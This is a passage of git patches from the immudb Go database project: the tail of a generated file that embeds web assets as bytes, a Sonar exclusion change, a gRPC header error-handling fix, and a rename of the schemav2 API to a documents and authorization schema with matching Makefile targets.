\x1f\xa2\x93J\x15\xebz\x0f\x88*\xcez\xf322p\xc0\xd9^\x18\x9f\xbbn\xa0\n\xb2\xd0\x88\xf6\xf6K\xce\x87K\xbd\xd0v\x19\xe5\x81\xbf\x1c$VE\xc2\xba`\xa7\xf6\xed}\x9fSh\x02j\xfa\x88\xdb\x81\x8c\xde\n\xf2\xd9\xbc1x\xea\xe2\xd9\xa6N\\\xac\xa6!\xe7F\xf1c\x06Z2\xea\x15\x19E\x14c\xf2\x03\x1a\xfc\x18\x1a\x84\x04\x9b\x1dP\x12\\\xe0\xab\x86\x0b;;\x91PV\x9e\xa7\xa3\xe5\xa2\xb5Z\x1a\xb9\x8e\xa5\xa5\xf9g\xa8\x8c*\x84l\xd7n\xf2)\xf1\x18c7\x12LV\xf0\xe1j\xfe\xa5\xdeI\xc2Q.\xc9\x8aiB\xab\xb2\xad\xb7@Np\xb8\x17\xd8\xa0p\x98<\xe7:\x91.\x19:\x9b\xc2\x0f\xcb\x01\x97\x8cP\xba\x027\x11\xab\xadg%\xfc/[sH\xb0\xe9P\xcb\xa6\xaa\x96um\x98\xf4\x85D\x83_\xb78w\xabV\xf5h\xe3\xc0\x8d'-\x08\xaf5\x9f\xc4\x84\x13\xbaK\x9bI\n\xb4\xa8\xdb\xedb\xff\xbd\x10\x8d\x0e\xbb\x14\x9b\xa7CzX\xeb\xfc\xa7\x96\x8a\x0f\xff\xd8\x1dh\xcc.\xf7&\x8a\xf0\xd5\x17\xab3\xaaB\xf7\xd4S\xdb~\xb7\xce\xcd\xd3\xcb\x8cU %6G\xe3\x01w\xdeb\x1d\x195k\x84\xc5$]\xb9y\xcd ~\xd1\xf43\xa0\xca\x9b<\xe3\x0f\xe4\xaa\x93U\xee\xae\x1cP\x84\xdf8\x9deM\x88\x8b0_\xac\x8b\x92\xc5\xec\xc4$\x89\x9b\xae&`p\xe97\x98\xebO\xf8\x08x\x99#\xd2\xf3\xa6|,\xfc\x17\xd0{\x07\x05s\xfd\x12lIk=\x92\xec|\xf6\xc7uU}k\x8a\xb9\x90\x08l;\xdf4\xe9L\xcd6\xfaa\xef7\xdaZ\x98GH\xfe\x84\xec\x80D\xe5\xafw\xd0\xda~\xa7\xb8\x05&\xbd\xa23$,J\\y(\xfa\xbe\x9a\x9a\xdc\x1d\xe9N\xf7wH#J@2Q\x7f\xec\xbb\x97\xc8\xa7\xd9\xfe\x01\xf3\xed\x92|L\x91\x0d\xf8rJG\xa6\x0c\x0d\xda\xd1\xac\x9e5\xf2F\xce\xa4z\xeb\x96\x0c~V\xa2\x1d\xa9\xb1C\xf5O\x8fq&\xab\x91\xdff\xd1,\x03\x05\xa8\xf8\xd9\xf8\xf4\x8d-\xc4\xd2\x1boc2\x81u\xcb\xd3`\x91s\xab_\xbdv\xd4\x7fdpw5\x81`\xcc\x8fS\xe3\x97\xb7\xe2\xe2\x0b-J\xe1\xeb@\xf1\xa4\x1e\x9a\xf7\x06v\xd2v\x07vG\xb1\x97\xefl?\x82\xe0`\xe8\xf9J\x10\xb6\xfeg\xb1\x1cg? \xb9He^\xf6\xebS\x0e\xe5\x1eK&\xf5\x816 l\xec\x9d['r\xf9\xd0\xe5y\x9aB\x05\x1f\xd3\xc2\xc9\xa5\xc7M\x7f6\x1c\x19D\xdf[\xeb\x7f\xc0\x06\x88+a\x83\x7f\xfd\\X;\xc7k\xba\xf87\xcc\x81\xe32 M\xd8\x8fQ\xe7\xff\x02Y\"N\xdfokk\xd3?\n2\x19\xc2U\xe8=(\xc4\nG\x8fl\x19Y\xfc\x98\xefTp[E!\xf4\x8ee\nt\xffQ\x9f\xb0\x95\x1bR\x83q\xbe=\xdd\xdcE[\x89i\x03\xdd\x8a+\x94\x12\xff\xca\xa9\x0c\x10\x1d\xc6\xcfC\xc1N\x18\xc2\xd8\x1f:\xa9\xc0R\xf0\xe1\x9d\xfa\xd5\xe5\x87J\"`r\xdc\xc7\n2\x8c\xc2\x88u\xccw+l\xe5\x014\xc1N\x1fY\n\xb0\xf3\xcc\x1d\x06un{\x16\xa2\xf9\xd6\xd3B\x03uF\xb1\xc7\x1eV\xb6'!\xac/;.8\xac\xf2\xf4\x0dk\x067\x1b=~=\x10\xe6\xac\x01MQ\xebY\x9b\x9f\n\xe2$\x1883\xab`Y\xeaA\xb8\xa8\xac\xe8\xc6|\xff\x8a]\x9a\x08\xce\x82\x9c{\xa4\xa2\xe3\xc2\xd2\x10\x7f\xbb\xbf\x8a\xd9xR\xbc\xec\xf3\x92]h\xe1P\xfd\x8eT5~\xfe\xd3\x0d\xdf|\xd0O6\xbb\xef\xe9\xc9\xb7\xc8\x1f\x8f\x96d\x19\x88.\xe89i\xfd.\x91\xbc.w\xf8\xfd\xa4\xf3\xe3\xc2\xa8\x84\xedaN\xf0\xe1\xe8\x0f\x15F\x05\xf2\x9c[\x7fxR\x10\xad\xcc\x9d\x91k\xaf$\x01\xa2\xfb\x9dW&\xfad\xe5\x0cc\xbf\xe5aK\xb7\\\x9c\xaa\xf3+\xe77\x0e&\xa7\xfd\xe1\x0d\x1d\x17=\x05\xb2[\xb5\xfa\xf3\x13\xdcr\xc3=\x15]\xb4n\xbc\xba\xa3 \xb8F\xe4oLVEU\x886Qo\xc0UH\xb01\xe2N~\xe1\xf7\x08{\xd8q\x1b\xb2?\xe3\x89\x14'\x9c\xaa\x86\x1dZ\\\xbcn\x94\xd9\xdd\xfd\xee\xb2\x98\x87=\xf1\xd542\x8a\x1e\x1fG@ww\x15\xff]s\x87\xd5%\xea\x06\xe9!\xe4\x90at$ \xae\xe2{\xc1]=\xda\xacXa\x8fa\x10\xb7\x89\"\xb1o\xab\x14\xe6c\x1a\xdco\x1b\xc0VR\xc0\"\x0f\xfc\xb3E\x1d\xdeSPO\x0d\xd6-\xe6{\xd02\xb0\xdf`\x01eUS\x87\x9bL\xf7\xe4*k\xaf\x17^\xf2\x07\xf5\x9d2S\xc7\x96\x8a\xecl|\xbb\xfa\xa4\x1d!\xbd&\x04jg\xd8\x80\xf6\xc5\xc4b\x1b\xc9\xf0\x95k\x96\x04\xe6{7\x14\x87\xc3x\xb2\xde\x05\xea\xd8\x95\x0d\xafg\xbf\x1as\x89\xff=\xfd\"N\xc5\xe1)F<\xca\x82\xe53\x11\"\x16\x88\x143m\xa8a4Y})**2\x85\x13F^2\xecQ\xc8MM\xc4\xac\xa0\x14R\xa8;\xd8\xb6\xb8\x87O\x16\xbb*\x0f\xec\xf7\xeb\x87m\xe9o=\xb5\xce%\xfe\xaa\x81\xf8\xd2\xf0\x0b|YT\x84m\x9d\x18\x93\x95q\x0d)\x0evP\x1c\xf21wH\xd5\xdf\x8bk\xb6\x14DvM\xf4j\xfc\x12n\xc9}>\xc0\xd1\xfdeE\x00\x1c\xc6b\xf1\xc6Vy\xc9pl\x9f\xa7\xe0B\xf8\x06P\xda\xd5\xe2\"\x8f$|n\x1b:\xb84Uh9o\",\x0be\xfe\xb6\xa6\xcaH\x87\xfb \xd6cd\xc7\xce\xe7\xfdQP\x1d\xf6\xec\x1a\x93\\\xa1dw\x13\xfa\xb4l\xf2\xd1\xa1\x8c\xd0\xbeZr'\xd8q\x0d\x98{\xc17\xdd\xd3\x10\x1fn\xe8\x95\xa0\x1at\xba\xb2?\xd5\x1f*\xf9\xfa\xc6\xd0\xf1\x05\xcb7\xf9MU\x88\x8d40G\x9cD\xb9l\xfe\xf6i=\x93\x02\x1bwN\xaen)\xf0\xad\xd6\xe8\xb9\xa2z\x0c\x97\xd6?\xd7\xa5\x13\xeag\x88\xbe\xb6\xf9\\\x8e\xf6\xd2\xac\x84\x83\x93\x95\xf5\x85\x8do\x97\x070\"\xcb\x84?\x9b\xd9\xfb\xfbr\xc4\x11\x9c\x18\xea\xa2\x15\x04\x0dG\xd4\\\xc6\xfb? \x0fh\xe1\xdbo\xcb]\x97\x06\xba\x0c\xeb9\xe6\x8e\x7f\xde\xc4\xc7\x0e\xa9\xa8\xb1\x82\xcc\xf4\xc1`\xc0\xafrc\xf9\xb6\x8e\xeb\xea|-7}\x0f\xd1\x08%_\xb7V\x8b\xdeS\xed\x8e\xb0 \xb8\xb2\xfb\x92J{z\x8f#\x0d\xc0\x81r\xf3E\xf2\xe5\xa4\xb7\xdcV\xd2\x12.T\xed\x05EQ\xcf\xf1\x8c\\;u\x8b\x1a\x94\x84\x8b\x85Kw\xdaq\xcbu\xdf\x7f\xc5\xf6\x18c\xefx\x1b\xf8\xaf\x80\xe9\x93\xc6\xcb\x9c\xf0(\x90\x94\xd4*W\xc4\xbf\xa0\x1a\xd4A.l/\xd5\xa9})A[\xd8\\\xad\xbdkn\x9d\x88~ 9\xde5\xc6\xdf\x1b\x96\xfc\xcd\xeb\xdb-\x9eF\xe5\x8a\xd7\xec\xcar\xb5\xdf\x8e}a\xa1\xb5 (\xecg9]=\x8c*W\x9c8t\x96\xe4\x836\x03\xe1\xc7g\xfb\xeb\x9d\xc2\xbd\xcf\xe3i%\xc0r\xd8Tn\x00\xe5\xc7\xdf\xb9\xfa\xfb\x95\x9d\x82\xe0\\\xe6/\xd5\x98\xa1\"\x8b\x05\xfa\xcc\x00\x02\x96\x14\xe4e\xc2\x05*\x0d\xe2K\x12\xf4\xe9u\xa4\xc8\x88\xaeg\xa1w\x80Z\xc1\xcb<\x0c\xd0\xc0\xfc\x1dE\xd6\xde\xc1s\xc32c\x0b\x1c\x88-\xbb\x8f\xe5\xe4\x7f\xbb\x07\xac\x9f\x0b\xed\xc5?+z\x97N\xa7O\xf0\xc8\xaa\x10\x87\xf5\xb90y\xef\xfc\x87\xa8Q\xaf\xa4[\xe3\xe4\x91d\x97Nf\xa4\xf1\xa5\x08\\\xc7\x95\x05\xf6\x02\x81k\xf7\x08\xe8\xdbc9X\xe0\x91\x13#X\xc4U\x04nd\xaco\xb1\xe8 un\x8f\xd3\x12.a\x1b\xc4\xc2k\n\xd2XY^\x0cU\x1a\x151\xf0x8\xd16#\x18\x18\xd5}\x85\x0f\x9d\xbdtT7\xccT\xcf[x\xccQ\xa3\x95\xa5\xf7\xdc\x16\xcc\xc5b\xee\x13.C\xcd\xf0\x9a=\xbe\xf9\x8d\xdb'wZ\x8bNy3\xbe\x11\xe5\xa0P\xe1MX\x82\x9b\xe3\xdc\x1e\xd7f\xd7wn#FBD\xfb\x0f\xafF\xf7\xd3\xe5dd\xb2\xb4n\x14\x05\xf8\x9f\"\x7f\x1a]L\xf2\x95\xa0\x04\xd7\x01\xc1\x166\x00 \x83\xbe\xc69\x19\xa8\x14\x027\x12\xfe~\x1f\xc0\xec\x93\xf4I\xe5?}\xc4\xd53\x00%ij\x9c\xd3\x01\n\xe72M\xcf\xe6-8C>\x05%-\xa4\xf7/\xf8\xb7\xc2\xce~A\x80$z\x9a\x1d1P\x8c\xe0\xcd\xe5I\xcem\xd4\xe3\x18\x8b\"~\xb0k\xda w]\x0c\xfd\xfer?\x0f\xf0>\xe0\xf1A\xd1\xc8CC\xa4\xf4\x05\xa4\x81SI5\xd3\x11\xe7\n\xb1\xe6\x80C9\xe8\xae\x9bZ\x16\x8c\x9e#\xf9\x83{>\xad\x85\x080V\\\x9b\x962z+\xe6}}\x0f\xa0\x04o'V\xa6\n<\x7f\xa6\xea=\x0e\x08\x8c\xffn(\xcdX\x1b\",Z\x1a(\x92\x1f\xf2\x18jY\x0e\xf2f\xdd\x1e/\x90\xe3F ,J\x9a\xad8\x9a\xa1\x8a\x11}o\x88\xca\xfb\xa4\"\x0e \x04\x87\xcc\x02\xeei\x06oE\xf2C\xae=Qc\xdf\x13\xcd\xa0\xb3\xbe\xbe\xd1\x93\xef\x18{\x16k\x90f\xea\xa9\x15\x18\x11\xca-~\x9c\x1e;J\x1a\x0dO\x17T%\xea\x0d\xec\xc6\xe6\x93\xe5\xb6\xad\xdf\xc5\xdd\xedR\xe5\xd4gn\xb2\xea\xb9\xa5\xaf\\\x17\x7f\xc7T\xa2{.R\x1c\xaf\xfb\x85\xd2\xe4\xe7\xacx\xbc\xe2\x04i\x80j+\xfaK\x1e-s\xc0\xc8\x87\x0dC\x86\x92by^t,\xa6\xad\xf0\xd8Z\xf1?\xf9I)\x1b\xe5sV\x05A\xe8\xe4\xbc\x0c\xcc\xd4\x9c\xb2\xb8\xd4\xca!\x90.t\xa0\xdd\x9b\xce~\x89\x91\x16\x85\x9f#D\xfa\x04\x92\xa6fm\xe5\xf1\x86\xfd\x81I\xe7\x9b+\xfa\xfbuN\xee4\xc4eV;\xcd\x88*\xb46\xf4N\x96\xb7\x8eD\xfa\xc81.\xab\xb1\x1f+\xf3=X\xe4\x8c\xffL\xf2~F]\xd1\xe3\x15\x18EV\xd0\x08\xc0wA\x19{\xf4\xd9Z\xd6\xcc\xd0\x0b^\xa1\xf7\xe5^\xbe.\xd4\x0c\xf2\xb9m\x92\x97\x83\x9b\x993#&T\xb8\xa0.\x89\xff\xf2\xfe\xb9\x0e\xa0\x88\x96\xebHb\xbf8\xcb\x923\xb8\x8aO\x17\xeb\xc9\x81\xc8\x1e\xab\xf1?\x8f4\x06\x0d\xaf\x16\xd7yzi2\x0d\x90x_\xd0\xe3\x83@\xa6C\xfe\xf2\xa6\xd2\xa2\xdaR2:\xc5M\x86\xcb\xe2\xbd\x0e\x99\x86$r\xce\xed\x0d\x83:A\xf4\x93t\xb3\xac[\xaf]\xbe\x0e\xd7Z\xf3/\xe4\xe8\xd7\xc8kJ^y5]D\x11\xf8D@\xda:\x18\xc9\x8d\xb5\x97\x07u\xf58\xb75H\xcaq\x1aQ,A\xc4\xf8\x0e`\x17~\xd3\xe2\x8c\x91D\xcc\x81\x1b\xe5\xcc\xd6!\xc6\xcc\xfe\xe4\xf5\x8a\x98\xc4\xcdz\xa4\x83J\x11\x9a\xee%\xc01\x92`\xd0\xe2_P2\x11\x9b\xd5\x93d\x046\x9f\x91\x97x$\x0b\x9e\xbc\xa5\x02\xc7V'\xaf\xe1-\xa1\xd6\x92\xbf\\\xd9\xcb\x9aS\xd5\x15TKT\x8e\xc8\xed=$\xac\x8a\x1fn\xd6\x85H\xfd\xf5k\xb2\x9f\x91\"\xd9\xa3i\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xa9xUV\x8d}\xce\x0b\x17\x02\x00\x00\x1b\x04\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00index.htmlUT\x05\x00\x01\xaf\xdd\xf4cPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xa9xUV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00mascot.pngUT\x05\x00\x01\xaf\xdd\xf4cPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x82\x00\x00\x00\"s\x00\x00\x00\x00" fs.Register(data) } \ No newline at end of file From 1b1e75508f9eb26eb3388d2a962d823872161ca2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:50:37 +0100 Subject: [PATCH 0291/1062] Marking generated code as not to-analyze --- sonar-project.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sonar-project.properties b/sonar-project.properties index 2886966251..37cb79f9ce 100644 --- a/sonar-project.properties +++ b/sonar-project.properties @@ -5,7 +5,7 @@ sonar.organization=codenotary sonar.sources=. -sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb* +sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb*,**/*schemav2.pb*,**/*schemav2_grpc.pb*,**/statik.go sonar.tests=. sonar.test.inclusions=**/*_test.go From 0fb62d83b9b596008dad6a48fc5e815e5aa9e296 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 8 Mar 2023 09:41:46 -0300 Subject: [PATCH 0292/1062] fix(pkg/server): ensure error propagation when sending headers Signed-off-by: Jeronimo Irazabal --- pkg/server/uuid.go | 29 ++++++++++------------------- 1 file changed, 10 insertions(+), 19 deletions(-) diff --git a/pkg/server/uuid.go b/pkg/server/uuid.go index efcd1bd390..be75bd0964 100644 --- a/pkg/server/uuid.go +++ b/pkg/server/uuid.go @@ -108,35 +108,26 @@ func fileExists(filename string) bool { return !info.IsDir() } -// WrappedServerStream ... -type WrappedServerStream struct { - grpc.ServerStream -} - -// RecvMsg ... -func (w *WrappedServerStream) RecvMsg(m interface{}) error { - return w.ServerStream.RecvMsg(m) -} - -// SendMsg ... -func (w *WrappedServerStream) SendMsg(m interface{}) error { - return w.ServerStream.SendMsg(m) -} - // UUIDStreamContextSetter set uuid header in a stream func (u *uuidContext) UUIDStreamContextSetter(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { header := metadata.Pairs(SERVER_UUID_HEADER, u.UUID.String()) - ss.SendHeader(header) - return handler(srv, &WrappedServerStream{ss}) + + err := ss.SendHeader(header) + if err != nil { + return err + } + + return handler(srv, ss) } // UUIDContextSetter set uuid header func (u *uuidContext) UUIDContextSetter(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { header := metadata.Pairs(SERVER_UUID_HEADER, u.UUID.String()) + err := grpc.SendHeader(ctx, header) if err != nil { return nil, err } - m, err := handler(ctx, req) - return m, err + + return handler(ctx, req) } From 24ef7bfa17f12dd11b220496b900fba186b6d372 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Wed, 8 Mar 2023 21:48:14 +0100 Subject: [PATCH 0293/1062] Adjusting main API to the comments --- Makefile | 61 +- cmd/immudb/command/init.go | 2 +- .../authorizationschema.pb.go | 277 +++ .../authorizationschema.pb.gw.go | 169 ++ .../authorizationschema.proto | 40 + .../authorizationschema.swagger.json | 117 ++ .../authorizationschema_grpc.pb.go | 99 + pkg/api/authorizationschema/docs.md | 95 + pkg/api/documentsschema/docs.md | 447 +++++ pkg/api/documentsschema/documentsschema.pb.go | 1658 +++++++++++++++++ .../documentsschema.pb.gw.go} | 249 +-- .../documentsschema.proto} | 73 +- .../documentsschema.swagger.json} | 403 ++-- .../documentsschema_grpc.pb.go | 279 +++ pkg/api/schemav2/docs.md | 384 ---- pkg/api/schemav2/schemav2.pb.go | 1336 ------------- pkg/api/schemav2/schemav2_grpc.pb.go | 317 ---- pkg/server/authorization_operations.go | 11 + pkg/server/documents_operations.go | 31 + pkg/server/objects_operations.go | 39 - pkg/server/server.go | 6 +- pkg/server/webserver.go | 10 +- swagger/swaggeroverrides.js | 8 +- 23 files changed, 3608 insertions(+), 2503 deletions(-) create mode 100644 pkg/api/authorizationschema/authorizationschema.pb.go create mode 100644 pkg/api/authorizationschema/authorizationschema.pb.gw.go create mode 100644 pkg/api/authorizationschema/authorizationschema.proto create mode 100644 pkg/api/authorizationschema/authorizationschema.swagger.json create mode 100644 pkg/api/authorizationschema/authorizationschema_grpc.pb.go create mode 100644 pkg/api/authorizationschema/docs.md create mode 100644 pkg/api/documentsschema/docs.md create mode 100644 pkg/api/documentsschema/documentsschema.pb.go rename pkg/api/{schemav2/schemav2.pb.gw.go => documentsschema/documentsschema.pb.gw.go} (54%) rename pkg/api/{schemav2/schemav2.proto => documentsschema/documentsschema.proto} (73%) rename pkg/api/{schemav2/schemav2.swagger.json => documentsschema/documentsschema.swagger.json} (88%) create mode 100644 pkg/api/documentsschema/documentsschema_grpc.pb.go delete mode 100644 pkg/api/schemav2/docs.md delete mode 100644 pkg/api/schemav2/schemav2.pb.go delete mode 100644 pkg/api/schemav2/schemav2_grpc.pb.go create mode 100644 pkg/server/authorization_operations.go create mode 100644 pkg/server/documents_operations.go delete mode 100644 pkg/server/objects_operations.go diff --git a/Makefile b/Makefile index 94208e6579..8cd6a96070 100644 --- a/Makefile +++ b/Makefile @@ -189,47 +189,84 @@ build/codegen: --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc -.PHONY: build/codegenv2 -build/codegenv2: - $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ +.PHONY: build/codegendocuments +build/codegendocuments: + $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --go_out=paths=source_relative:pkg/api/schemav2 \ - --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schemav2 \ + --go_out=paths=source_relative:pkg/api/documentsschema \ + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/documentsschema \ --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ 